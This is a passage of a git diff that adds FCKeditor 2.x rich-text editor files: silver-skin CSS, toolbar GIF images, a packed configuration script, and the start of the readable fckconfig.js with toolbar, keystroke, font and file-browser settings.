+       border-top: #cec6b5 1px solid;
+       border-left: #cec6b5 1px solid;
+       padding-right: 5px;
+       padding-left: 5px;
+       padding-bottom: 3px;
+       padding-top: 3px;
+       color: #504845;
+}
+
+.PopupTab
+{
+       margin-top: 1px;
+       border-bottom: #cec6b5 1px solid;
+       cursor: pointer;
+       cursor: hand;
+}
+
+.PopupTabSelected
+{
+       font-weight:bold;
+       cursor: default;
+       padding-top: 4px;
+       border-bottom: #f1f1e3 1px solid;
+       background-color: #f7f7f7;
+}
+
+.PopupSelectionBox
+{
+       border: #a9a9a9 1px solid !important;
+       background-color: #dcdcdc !important;
+       cursor: pointer;
+       cursor: hand;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/skins/silver/fck_editor.css b/fckeditor/editor/skins/silver/fck_editor.css
new file mode 100755 (executable)
index 0000000..21c7878
--- /dev/null
@@ -0,0 +1,478 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_editor.css
+ *     Styles used by the editor IFRAME and Toolbar.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ *             gazou[Fr]
+ */
+
+/*
+       ### Basic Editor IFRAME Styles.
+*/
+
+body
+{
+       padding: 1px 1px 1px 1px;
+       margin: 0px 0px 0px 0px;
+}
+
+#xEditingArea
+{
+       border: #696969 1px solid;
+}
+
+.SourceField
+{
+       padding: 5px;
+       margin: 0px;
+       font-family: Monospace;
+}
+
+/*
+       Toolbar
+*/
+
+.TB_ToolbarSet, .TB_Expand, .TB_Collapse
+{
+    cursor: default;
+       background-color: #f7f7f7;
+}
+
+.TB_ToolbarSet
+{
+       padding: 1px;
+       border-top: #efefde 1px outset;
+       border-bottom: #efefde 1px outset;
+}
+
+.TB_ToolbarSet TD
+{
+       font-size: 11px;
+       font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.TB_Toolbar
+{
+    display: inline-table;
+}
+
+.TB_Separator
+{
+    width: 1px;
+    height: 21px;
+    margin: 2px;
+    background-color: #C6C3BD;
+}
+
+.TB_Start
+{
+    background-image: url(images/toolbar.start.gif);
+    margin-left: 2px;
+    margin-right: 2px;
+    width: 3px;
+    background-repeat: no-repeat;
+    height: 27px;
+    background-position: center center;
+}
+
+.TB_End
+{
+       display: none;
+}
+
+.TB_ExpandImg
+{
+       background-image: url(images/toolbar.expand.gif);
+       background-repeat: no-repeat;
+}
+
+.TB_CollapseImg
+{
+       background-image: url(images/toolbar.collapse.gif);
+       background-repeat: no-repeat;
+}
+
+.TB_SideBorder
+{
+       background-color: #696969;
+}
+
+.TB_Expand, .TB_Collapse
+{
+       padding: 2px 2px 2px 2px;
+       border: #efefde 1px outset;
+}
+
+.TB_Collapse
+{
+       border: #efefde 1px outset;
+       width: 5px;
+}
+
+.TB_Break
+{
+       height: 27px;
+}
+
+/*
+       Toolbar Button
+*/
+
+.TB_Button_On, .TB_Button_Off, .TB_Button_On_Over, .TB_Button_Off_Over, .TB_Button_Disabled
+{
+       padding: 1px ;
+       margin:1px;
+       height: 21px;
+}
+
+.TB_Button_On, .TB_Button_Off, .TB_Button_On_Over, .TB_Button_Off_Over, .TB_Button_Disabled
+{
+       border: #cec6b5 1px solid;
+}
+
+.TB_Button_On
+{
+       border-color: #316ac5;
+       background-color: #c1d2ee;
+}
+
+.TB_Button_On_Over, .TB_Button_Off_Over
+{
+    border: #316ac5 1px solid;
+    background-color: #dff1ff;
+}
+
+.TB_Button_Off
+{
+       background: #efefef url(images/toolbar.buttonbg.gif) repeat-x;
+}
+
+.TB_Button_Off, .TB_Combo_Off
+{
+       opacity: 0.70; /* Safari, Opera and Mozilla */
+       filter: alpha(opacity=70); /* IE */
+       /* -moz-opacity: 0.70; Mozilla (Old) */
+}
+
+.TB_Button_Disabled
+{
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+    filter: gray() alpha(opacity=30); /* IE */
+}
+
+.TB_Button_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 21px;
+}
+
+.TB_Button_Image
+{
+    overflow: hidden;
+    width: 16px;
+    height: 16px;
+    margin: 3px;
+    margin-top: 4px;
+    margin-bottom: 2px;
+    background-repeat: no-repeat;
+}
+
+/* For composed button ( icon + text, icon + arrow ), we must compensate the table */
+.TB_Button_On TABLE .TB_Button_Image, 
+.TB_Button_Off TABLE .TB_Button_Image, 
+.TB_Button_On_Over TABLE .TB_Button_Image,
+.TB_Button_Off_Over TABLE .TB_Button_Image,
+.TB_Button_Disabled TABLE .TB_Button_Image
+{
+    margin-top: 3px;
+}
+
+.TB_Button_Image img
+{
+    position: relative;
+}
+
+.TB_ConnectionLine
+{
+    background-color: #ffffff;
+    height: 1px;
+    margin-left: 1px;   /* ltr */
+    margin-right: 1px;  /* rtl */
+}
+
+/*
+       Menu
+*/
+
+.MN_Menu
+{
+    border: 1px solid #8f8f73;
+    padding: 2px;
+    background-color: #f7f7f7;
+    cursor: default;
+}
+
+.MN_Menu, .MN_Menu .MN_Label
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.MN_Item_Padding
+{
+    visibility: hidden;
+    width: 3px;
+    height: 20px;
+}
+
+.MN_Icon
+{
+    background-color: #dedede;
+    text-align: center;
+    height: 20px;
+}
+
+.MN_Label
+{
+    padding-left: 3px;
+    padding-right: 3px;
+}
+
+.MN_Separator
+{
+    height: 3px;
+}
+
+.MN_Separator_Line
+{
+    border-top: #b9b99d 1px solid;
+}
+
+.MN_Item .MN_Icon IMG
+{
+    filter: alpha(opacity=70);
+    opacity: 0.70;
+}
+
+.MN_Item_Over
+{
+    color: #ffffff;
+    background-color: #8a857d;
+}
+
+.MN_Item_Over .MN_Icon
+{
+    background-color: #6c6761;
+}
+
+.MN_Item_Disabled IMG
+{
+    filter: gray() alpha(opacity=30); /* IE */
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+}
+
+.MN_Item_Disabled .MN_Label
+{
+    color: #b7b7b7;
+}
+
+.MN_Arrow
+{
+    padding-right: 3px;
+    padding-left: 3px;
+}
+
+.MN_ConnectionLine
+{
+    background-color: #ffffff;
+}
+
+.Menu .TB_Button_On, .Menu .TB_Button_On_Over
+{
+    border: #8f8f73 1px solid;
+    background-color: #ffffff;
+}
+
+/*
+       ### Panel Styles
+*/
+
+.FCK_Panel
+{
+    border: #8f8f73 1px solid;
+    padding: 2px;
+    background-color: #ffffff;
+}
+
+.FCK_Panel, .FCK_Panel TD
+{
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+    font-size: 11px;
+}
+
+/*
+       ### Special Combos
+*/
+
+.SC_Panel
+{
+    overflow: auto;
+    white-space: nowrap;
+    cursor: default;
+    border: 1px solid #8f8f73;
+    padding-left: 2px;
+    padding-right: 2px;
+    background-color: #ffffff;
+}
+
+.SC_Panel, .SC_Panel TD
+{
+    font-size: 11px;
+    font-family: 'Microsoft Sans Serif' , Tahoma, Arial, Verdana, Sans-Serif;
+}
+
+.SC_Item, .SC_ItemSelected
+{
+    margin-top: 2px;
+    margin-bottom: 2px;
+    background-position: left center;
+    padding-left: 11px;
+    padding-right: 3px;
+    padding-top: 2px;
+    padding-bottom: 2px;
+    text-overflow: ellipsis;
+    overflow: hidden;
+    background-repeat: no-repeat;
+    border: #dddddd 1px solid;
+}
+
+.SC_Item *, .SC_ItemSelected *
+{
+    margin-top: 0px;
+    margin-bottom: 0px;
+}
+
+.SC_ItemSelected
+{
+    border: #9a9afb 1px solid;
+    background-image: url(images/toolbar.arrowright.gif);
+}
+
+.SC_ItemOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_Field
+{
+    margin-top:1px ;
+    border: #b7b7a6 1px solid;
+    cursor: default;
+}
+
+.SC_FieldCaption
+{
+    padding-top: 1px ;
+    overflow: visible;
+    padding-right: 5px;
+    padding-left: 5px;
+    opacity: 0.75; /* Safari, Opera and Mozilla */
+    filter: alpha(opacity=70); /* IE */ /* -moz-opacity: 0.75; Mozilla (Old) */
+    height: 23px;
+    background-color: #f7f7f7;
+}
+
+.SC_FieldLabel
+{
+    white-space: nowrap;
+    padding: 2px;
+    width: 100%;
+    cursor: default;
+    background-color: #ffffff;
+    text-overflow: ellipsis;
+    overflow: hidden;
+}
+
+.SC_FieldButton
+{
+    background-position: center center;
+    background-image: url(images/toolbar.buttonarrow.gif);
+    border-left: #b7b7a6 1px solid;
+    width: 14px;
+    background-repeat: no-repeat;
+}
+
+.SC_FieldDisabled .SC_FieldButton, .SC_FieldDisabled .SC_FieldCaption
+{
+    opacity: 0.30; /* Safari, Opera and Mozilla */
+    filter: gray() alpha(opacity=30); /* IE */ /* -moz-opacity: 0.30; Mozilla (Old) */
+}
+
+.SC_FieldOver
+{
+    border: #316ac5 1px solid;
+}
+
+.SC_FieldOver .SC_FieldButton
+{
+    border-left: #316ac5 1px solid;
+}
+
+/*
+       ### Color Selector Panel
+*/
+
+.ColorBoxBorder
+{
+    border: #808080 1px solid;
+    position: static;
+}
+
+.ColorBox
+{
+    font-size: 1px;
+    width: 10px;
+    position: static;
+    height: 10px;
+}
+
+.ColorDeselected, .ColorSelected
+{
+    cursor: default;
+}
+
+.ColorDeselected
+{
+    border: #ffffff 1px solid;
+    padding: 2px;
+    float: left;
+}
+
+.ColorSelected
+{
+    border: #316ac5 1px solid;
+    padding: 2px;
+    float: left;
+    background-color: #c1d2ee;
+}
diff --git a/fckeditor/editor/skins/silver/fck_strip.gif b/fckeditor/editor/skins/silver/fck_strip.gif
new file mode 100755 (executable)
index 0000000..d5ba74e
Binary files /dev/null and b/fckeditor/editor/skins/silver/fck_strip.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.arrowright.gif b/fckeditor/editor/skins/silver/images/toolbar.arrowright.gif
new file mode 100755 (executable)
index 0000000..6843c8d
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.arrowright.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.buttonarrow.gif b/fckeditor/editor/skins/silver/images/toolbar.buttonarrow.gif
new file mode 100755 (executable)
index 0000000..ea60995
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.buttonarrow.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.buttonbg.gif b/fckeditor/editor/skins/silver/images/toolbar.buttonbg.gif
new file mode 100755 (executable)
index 0000000..a93ffca
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.buttonbg.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.collapse.gif b/fckeditor/editor/skins/silver/images/toolbar.collapse.gif
new file mode 100755 (executable)
index 0000000..87aa56d
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.collapse.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.end.gif b/fckeditor/editor/skins/silver/images/toolbar.end.gif
new file mode 100755 (executable)
index 0000000..5bfd67a
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.end.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.expand.gif b/fckeditor/editor/skins/silver/images/toolbar.expand.gif
new file mode 100755 (executable)
index 0000000..79075e7
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.expand.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.separator.gif b/fckeditor/editor/skins/silver/images/toolbar.separator.gif
new file mode 100755 (executable)
index 0000000..eaed04a
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.separator.gif differ
diff --git a/fckeditor/editor/skins/silver/images/toolbar.start.gif b/fckeditor/editor/skins/silver/images/toolbar.start.gif
new file mode 100755 (executable)
index 0000000..1774246
Binary files /dev/null and b/fckeditor/editor/skins/silver/images/toolbar.start.gif differ
diff --git a/fckeditor/fckconfig-min.js b/fckeditor/fckconfig-min.js
new file mode 100644 (file)
index 0000000..c1f63d5
--- /dev/null
@@ -0,0 +1,2 @@
+eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('a.5u=d;a.2u=\'\';a.2A=a.f+\'Q/2o.Q\';a.2U=\'\';a.2p=\'\';a.2q=\'\';a.2k=d;a.2S=d;a.5v=c;a.C=a.f+\'14/m/\';a.17=[a.C+\'z/R.2Q.b\',a.C+\'z/R.5t.b\'];a.5s=a.f+\'5r/\';a.5q=5p;a.2M=c;a.2w=\'2x-5l\';a.5k=\'5j\';a.5i=c;a.5h=c;a.5g=c;a.5f=d;a.5e=\'\';a.5d=c;a.5c=c;a.5b=c;a.5a=\'    \';a.59=c;a.58=d;a.57=d;a.2P=d;a.55=c;a.54=d;a.53=0;a.52=c;a.51=d;a.50=c;a.4Z=c;a.4Y=c;a.4X=d;a.4W=4V;a.4U=c;a.4T=c;a.3l=\'4R\';a.Z["4Q"]=[[\'L\',\'-\'],[\'4P\',\'3N\',\'F\',\'4N\',\'4M\',\'-\'],[\'10\',\'H\',\'-\',\'4L\',\'4K\',\'-\',\'4J\'],\'/\',[\'s\',\'B\',\'K\'],[\'X\',\'I\',\'-\',\'42\',\'4H\'],[\'4G\',\'4F\',\'4E\',\'4D\'],[\'o\',\'N\']];a.Z["4i"]=[[\'s\',\'B\',\'-\',\'X\',\'I\',\'-\',\'o\',\'N\',\'-\',\'4x\']];a.4w=\'p\';a.4v=\'4p\';a.4r=[[e+4s,c],[e+4y,c],[e+4z,c],[e+4B,\'F\'],[12+45,\'F\'],[e+W,\'10\'],[e+4S,\'H\'],[e+12+W,\'H\'],[e+4h,\'o\'],[e+4g,\'s\'],[e+4e,\'B\'],[e+4c,\'K\'],[e+V+4a,\'49\'],[e+V+13,\'46\'],[e+9,\'L\']];a.41=[\'25\',\'o\',\'3Y\',\'D\',\'3X\',\'3W\',\'3V\',\'3U\',\'3T\',\'3S\',\'3R\',\'3Q\',\'20\',\'3O\',\'1Z\',\'3M\'];a.3L=\'3K,1X,3I,3H,3G,3F,3E,3D,3C,3B,3A,U,3z,3y,3x,U,3v,3u,3t,3s,1O,3q,1N,3o,1M,3m,1L,3k,1K,1J,1v,3g,1I,3e,1H,3c,1G,3a,39,38\';a.1D=\'36;1E 34 2g;32 S;2h;30 S 2Y;2m\';a.2W=\'1/11-v;2/x-v;3/v;4/2t;5/E;6/x-E;7/11-E\';a.2K=\'p;2I;2H;2E;2F;2L;2T;31;33;37\';a.3b=a.M+\'3h.P\';a.3i=a.M+\'3n.P\';a.3P=\'40\';a.43=\'48://4b.4f.Y/4j/4m/4n/4q/4t.J\';a.4A=\'4C-4O/56.n\';a.2e=15;a.2c=d;a.2b=c;a.2a=d;a.29=c;a.47=d;a.27=c;a.26=c;a.24=\'\';a.23=\'\';a.22=\'\';a.21=d;t j=\'n\';t g=\'n\';t l=j==\'1g\'?\'O\':j;a.1Y=d;a.1k=a.f+\'i/h/m/h.r?A=w/\'+j+\'/y.\'+l;a.1W=a.G*0.7;a.1V=a.u*0.7;a.1U=d;a.1T=a.f+\'i/h/m/h.r?q=T&A=w/\'+j+\'/y.\'+l;a.1S=a.G*0.7;a.1R=a.u*0.7;a.1Q=d;a.1P=a.f+\'i/h/m/h.r?q=D&A=w/\'+j+\'/y.\'+l;a.1A=a.G*0.7;a.1F=a.u*0.7;a.2i=d;a.2l=a.f+\'i/k/\'+g+\'/k.\'+g;a.2n="";a.2V=".(r|2R|n|2N|2y|2J|2C|2G|2X|35|3d|3j|3p|3Z|44|4d|4k|4o|J|Y|5m|2d|1b|1a|O|18|1d)$";a.1f=d;a.1h=a.f+\'i/k/\'+g+\'/k.\'+g+\'?q=T\';a.1l=".(1n|b|1o|1r|1s)$";a.1u="";a.1w=d;a.1B=a.f+\'i/k/\'+g+\'/k.\'+g+\'?q=D\';a.2O=".(2B|2Z)$";a.3f="";a.3r=a.f+\'z/4u/4I/\';a.1c=[\'28.b\',\'1e.b\',\'1i.b\',\'1m.b\',\'1p.b\',\'1t.b\',\'1x.b\',\'1C.b\',\'2j.b\',\'2r.b\',\'2v.b\',\'2D.b\',\'3w.b\',\'4l.b\',\'5n.b\',\'19.b\',\'1j.b\',\'1q.b\',\'1y.b\',\'2f.b\',\'2z.b\'];a.5o=8;a.1z=2s;a.16=3J;',62,342,'||||||||||FCKConfig|gif|true|false|CTRL|BasePath|_QuickUploadLanguage|browser|filemanager|_FileBrowserLanguage|upload|_FileBrowserExtension|default|php|Link||Type|html|Bold|var|ScreenHeight|small|connectors||connector|images|Connector|Italic|SkinPath|Flash|large|Paste|ScreenWidth|Redo|UnorderedList|exe|Underline|Source|EditorPath|Unlink|cgi|xml|css|toolbar|New|Image|808080|ALT|90|OrderedList|com|ToolbarSets|Undo|xx|SHIFT||skins||SmileyWindowHeight|PreloadImages|htaccess|thumbs_down|reg|js|SmileyImages|asis|sad_smile|ImageUpload|perl|ImageUploadURL|wink_smile|thumbs_up|LinkBrowserURL|ImageUploadAllowedExtensions|teeth_smile|jpg|jpeg|confused_smile|heart|png|bmp|tounge_smile|ImageUploadDeniedExtensions|993366|FlashUpload|embaressed_smile|broken_heart|SmileyWindowWidth|FlashBrowserWindowWidth|FlashUploadURL|omg_smile|FontNames|Comic|FlashBrowserWindowHeight|CCFFFF|FFFF99|FF99CC|00CCFF|00FFFF|FFFF00|FF00FF|800080|33CCCC|FlashBrowserURL|FlashBrowser|ImageBrowserWindowHeight|ImageBrowserWindowWidth|ImageBrowserURL|ImageBrowser|LinkBrowserWindowHeight|LinkBrowserWindowWidth|993300|LinkBrowser|Table|BulletedList|CleanWordKeepsStructure|BodyClass|BodyId|ProtectedTags|Generic|FlashDlgHideAdvanced|ImageDlgHideAdvanced|regular_smile|LinkDlgHideAdvanced|LinkDlgHideTarget|DisableFFTableHandles|DisableObjectResizing|vbs|MaxUndoLevels|kiss|MS|Tahoma|LinkUpload|whatchutalkingabout_smile|FullPage|LinkUploadURL|Verdana|LinkUploadAllowedExtensions|fck_editorarea|DocType|BaseHref|angry_smile|320|medium|CustomConfigurationsPath|angel_smile|DefaultLanguage|en|php3|envelope|EditorAreaCSS|swf|php5|shades_smile|address|h1|phtml|pre|div|php4|FontFormats|h2|AutoDetectLanguage|php2|FlashUploadAllowedExtensions|ForcePasteAsPlainText|start|htm|Debug|h3|ToolbarComboPreviewCSS|LinkUploadDeniedExtensions|FontSizes|pwml|Roman|fla|Times|h4|Courier|h5|Sans|inc|Arial|h6|FFFFFF|CC99FF|99CCFF|StylesXmlPath|CCFFCC|asp|FFCC99|FlashUploadDeniedExtensions|C0C0C0|fckstyles|TemplatesXmlPath|aspx|00FF00|ToolbarLocation|FFCC00|fcktemplates|999999|ascx|3366FF|SmileyPath|339966|99CC00|FF9900|FF0000|devil_smile|666699|0000FF|008080|808000|FF6600|800000|333333|333399|000080|003366|003300|333300|240|000000|FontColors|Form|Copy|NumberedList|SpellChecker|Button|ImageButton|HiddenField|TextField|Radio|Checkbox|Textarea|Select|Anchor|jsp|ieSpell|ContextMenu|Outdent|IeSpellDownloadUrl|cfm||FitWindow|ImageDlgHideLink|http|Save|83|wcarchive|85|cfc|73|cdrom|66|76|Basic|pub|pl|cry_smile|simtelnet|handheld|bat|br|webbrow1|Keystrokes|65|ieSpellSetup240428|smiley|ShiftEnterMode|EnterMode|About|67|88|SpellerPagesServerScript|86|server|JustifyFull|JustifyRight|JustifyCenter|JustifyLeft|Indent|msn|RemoveFormat|Replace|Find|PasteWord|PasteText|scripts|Cut|Default|In|89|TemplateReplaceCheckbox|TemplateReplaceAll|10000|FloatingPanelsZIndex|PreserveSessionOnFileBrowser|IgnoreEmptyParagraphValue|ToolbarCanCollapse|ToolbarStartExpanded|SourcePopup|ShowBorders|TabSpaces|ForceSimpleAmpersand|AutoDetectPasteFromWord|spellchecker|StartupFocus|GeckoUseSPAN|ForceStrongEm|FormatIndentator|FormatOutput|FormatSource|FillEmptyBlocks|AdditionalNumericEntities|ProcessNumericEntities|IncludeGreekEntities|IncludeLatinEntities|ProcessHTMLEntities|ltr|ContentLangDirection|min|dll|lightbulb|SmileyColumns|400|AutoGrowMax|plugins|PluginsPath|buttonarrow|DisableEnterKeyHandler|AllowQueryStringDebug'.split('|'),0,{}))
+
diff --git a/fckeditor/fckconfig.js b/fckeditor/fckconfig.js
new file mode 100644 (file)
index 0000000..68981e5
--- /dev/null
@@ -0,0 +1,226 @@
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckconfig.js
+ *     Editor configuration settings.
+ *     
+ *     Follow this link for more information:
+ *     http://wiki.fckeditor.net/Developer%27s_Guide/Configuration/Configurations_Settings
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+// Disable the custom Enter Key Handler (this configuration will be removed in
+// version 2.5).
+FCKConfig.DisableEnterKeyHandler = false ;
+
+FCKConfig.CustomConfigurationsPath = '' ;
+
+FCKConfig.EditorAreaCSS = FCKConfig.BasePath + 'css/fck_editorarea.css' ;
+FCKConfig.ToolbarComboPreviewCSS = '' ;
+
+FCKConfig.DocType = '' ;
+
+FCKConfig.BaseHref = '' ;
+
+FCKConfig.FullPage = false ;
+
+FCKConfig.Debug = false ;
+FCKConfig.AllowQueryStringDebug = true ;
+
+FCKConfig.SkinPath = FCKConfig.BasePath + 'skins/default/' ;
+FCKConfig.PreloadImages = [ FCKConfig.SkinPath + 'images/toolbar.start.gif', FCKConfig.SkinPath + 'images/toolbar.buttonarrow.gif' ] ;
+
+FCKConfig.PluginsPath = FCKConfig.BasePath + 'plugins/' ;
+
+// FCKConfig.Plugins.Add( 'autogrow' ) ;
+FCKConfig.AutoGrowMax = 400 ;
+
+// FCKConfig.ProtectedSource.Add( /<%[\s\S]*?%>/g ) ;  // ASP style server side code <%...%>
+// FCKConfig.ProtectedSource.Add( /<\?[\s\S]*?\?>/g ) ;        // PHP style server side code
+// FCKConfig.ProtectedSource.Add( /(<asp:[^\>]+>[\s|\S]*?<\/asp:[^\>]+>)|(<asp:[^\>]+\/>)/gi ) ;       // ASP.Net style tags <asp:control>
+
+FCKConfig.AutoDetectLanguage   = false ;
+FCKConfig.DefaultLanguage              = 'en-min' ;
+FCKConfig.ContentLangDirection = 'ltr' ;
+
+FCKConfig.ProcessHTMLEntities  = true ;
+FCKConfig.IncludeLatinEntities = true ;
+FCKConfig.IncludeGreekEntities = true ;
+
+FCKConfig.ProcessNumericEntities = false ;
+
+FCKConfig.AdditionalNumericEntities = ''  ;            // Single Quote: "'"
+
+FCKConfig.FillEmptyBlocks      = true ;
+
+FCKConfig.FormatSource         = true ;
+FCKConfig.FormatOutput         = true ;
+FCKConfig.FormatIndentator     = '    ' ;
+
+FCKConfig.ForceStrongEm = true ;
+FCKConfig.GeckoUseSPAN = false ;
+FCKConfig.StartupFocus = false ;
+FCKConfig.ForcePasteAsPlainText        = false ;
+FCKConfig.AutoDetectPasteFromWord = true ;     // IE only.
+FCKConfig.ForceSimpleAmpersand = false ;
+FCKConfig.TabSpaces            = 0 ;
+FCKConfig.ShowBorders  = true ;
+FCKConfig.SourcePopup  = false ;
+FCKConfig.ToolbarStartExpanded = true ;
+FCKConfig.ToolbarCanCollapse   = true ;
+FCKConfig.IgnoreEmptyParagraphValue = true ;
+FCKConfig.PreserveSessionOnFileBrowser = false ;
+FCKConfig.FloatingPanelsZIndex = 10000 ;
+
+FCKConfig.TemplateReplaceAll = true ;
+FCKConfig.TemplateReplaceCheckbox = true ;
+
+FCKConfig.ToolbarLocation = 'In' ;
+FCKConfig.Plugins.Add('ImageManager');
+
+FCKConfig.ToolbarSets["Default"] = [
+       ['FontName','FontSize','Bold','Italic'],
+       ['Cut','Copy','Paste','PasteText','-','Undo','Redo','-'],
+       '/',
+       ['OrderedList','UnorderedList','-','Outdent','Indent'],
+       ['JustifyLeft','JustifyCenter','JustifyRight','JustifyFull'],
+       ['TextColor'],
+       ['Link','Unlink'],
+       ['ImageManager','Table','Find','Replace','-','RemoveFormat','Source']
+       //'/',
+       //['FitWindow','-','About']
+] ;
+
+FCKConfig.ToolbarSets["Basic"] = [
+       ['Bold','Italic','-','OrderedList','UnorderedList','-','Link','Unlink','-','About']
+] ;
+
+FCKConfig.ToolbarSets["LimitedToolset"] = [
+       ['Bold','Italic','-','OrderedList','UnorderedList','-','Link','Unlink','-','PasteText','Source','-','About']
+] ;
+
+FCKConfig.EnterMode = 'p' ;                    // p | div | br
+FCKConfig.ShiftEnterMode = 'br' ;      // p | div | br
+
+FCKConfig.Keystrokes = [
+       [ CTRL + 65 /*A*/, true ],
+       [ CTRL + 67 /*C*/, true ],
+       [ CTRL + 88 /*X*/, true ],
+       [ CTRL + 86 /*V*/, 'Paste' ],
+       [ SHIFT + 45 /*INS*/, 'Paste' ],
+       [ CTRL + 90 /*Z*/, 'Undo' ],
+       [ CTRL + 89 /*Y*/, 'Redo' ],
+       [ CTRL + SHIFT + 90 /*Z*/, 'Redo' ],
+       [ CTRL + 76 /*L*/, 'Link' ],
+       [ CTRL + 66 /*B*/, 'Bold' ],
+       [ CTRL + 73 /*I*/, 'Italic' ],
+       [ CTRL + ALT + 83 /*S*/, 'Save' ],
+       [ CTRL + ALT + 13 /*ENTER*/, 'FitWindow' ],
+       [ CTRL + 9 /*TAB*/, 'Source' ]
+] ;
+
+FCKConfig.ContextMenu = ['Generic','Link','Anchor','Flash','Select','Textarea','Checkbox','Radio','TextField','HiddenField','ImageButton','Button','BulletedList','NumberedList','Table','Form'] ;
+
+FCKConfig.FontColors = '000000,993300,333300,003300,003366,000080,333399,333333,800000,FF6600,808000,808080,008080,0000FF,666699,808080,FF0000,FF9900,99CC00,339966,33CCCC,3366FF,800080,999999,FF00FF,FFCC00,FFFF00,00FF00,00FFFF,00CCFF,993366,C0C0C0,FF99CC,FFCC99,FFFF99,CCFFCC,CCFFFF,99CCFF,CC99FF,FFFFFF' ;
+
+FCKConfig.FontNames            = 'Arial;Comic Sans MS;Courier New;Tahoma;Times New Roman;Verdana' ;
+FCKConfig.FontSizes            = '1/xx-small;2/x-small;3/small;4/medium;5/large;6/x-large;7/xx-large' ;
+FCKConfig.FontFormats  = 'p;div;pre;address;h1;h2;h3;h4;h5;h6' ;
+
+FCKConfig.StylesXmlPath                = FCKConfig.EditorPath + 'fckstyles.xml' ;
+FCKConfig.TemplatesXmlPath     = FCKConfig.EditorPath + 'fcktemplates.xml' ;
+
+FCKConfig.SpellChecker                 = 'ieSpell' ;   // 'ieSpell' | 'SpellerPages'
+FCKConfig.IeSpellDownloadUrl   = 'http://wcarchive.cdrom.com/pub/simtelnet/handheld/webbrow1/ieSpellSetup240428.exe' ;
+FCKConfig.SpellerPagesServerScript = 'server-scripts/spellchecker.php' ;       // Available extension: .php .cfm .pl
+
+FCKConfig.MaxUndoLevels = 15 ;
+
+FCKConfig.DisableObjectResizing = false ;
+FCKConfig.DisableFFTableHandles = true ;
+
+FCKConfig.LinkDlgHideTarget            = false ;
+FCKConfig.LinkDlgHideAdvanced  = true ;
+
+FCKConfig.ImageDlgHideLink             = false ;
+FCKConfig.ImageDlgHideAdvanced = true ;
+
+FCKConfig.FlashDlgHideAdvanced = true ;
+
+FCKConfig.ProtectedTags = '' ;
+
+// This will be applied to the body element of the editor
+FCKConfig.BodyId = '' ;
+FCKConfig.BodyClass = '' ;
+
+// The option switches between trying to keep the html structure or do the changes so the content looks like it was in Word
+FCKConfig.CleanWordKeepsStructure = false ;
+
+// The following value defines which File Browser connector and Quick Upload 
+// "uploader" to use. It is valid for the default implementaion and it is here
+// just to make this configuration file cleaner. 
+// It is not possible to change this value using an external file or even 
+// inline when creating the editor instance. In that cases you must set the 
+// values of LinkBrowserURL, ImageBrowserURL and so on.
+// Custom implementations should just ignore it.
+var _FileBrowserLanguage       = 'php' ;       // asp | aspx | cfm | lasso | perl | php | py
+var _QuickUploadLanguage       = 'php' ;       // asp | aspx | cfm | lasso | php
+
+// Don't care about the following line. It just calculates the correct connector 
+// extension to use for the default File Browser (Perl uses "cgi").
+var _FileBrowserExtension = _FileBrowserLanguage == 'perl' ? 'cgi' : _FileBrowserLanguage ;
+
+FCKConfig.LinkBrowser = false ;
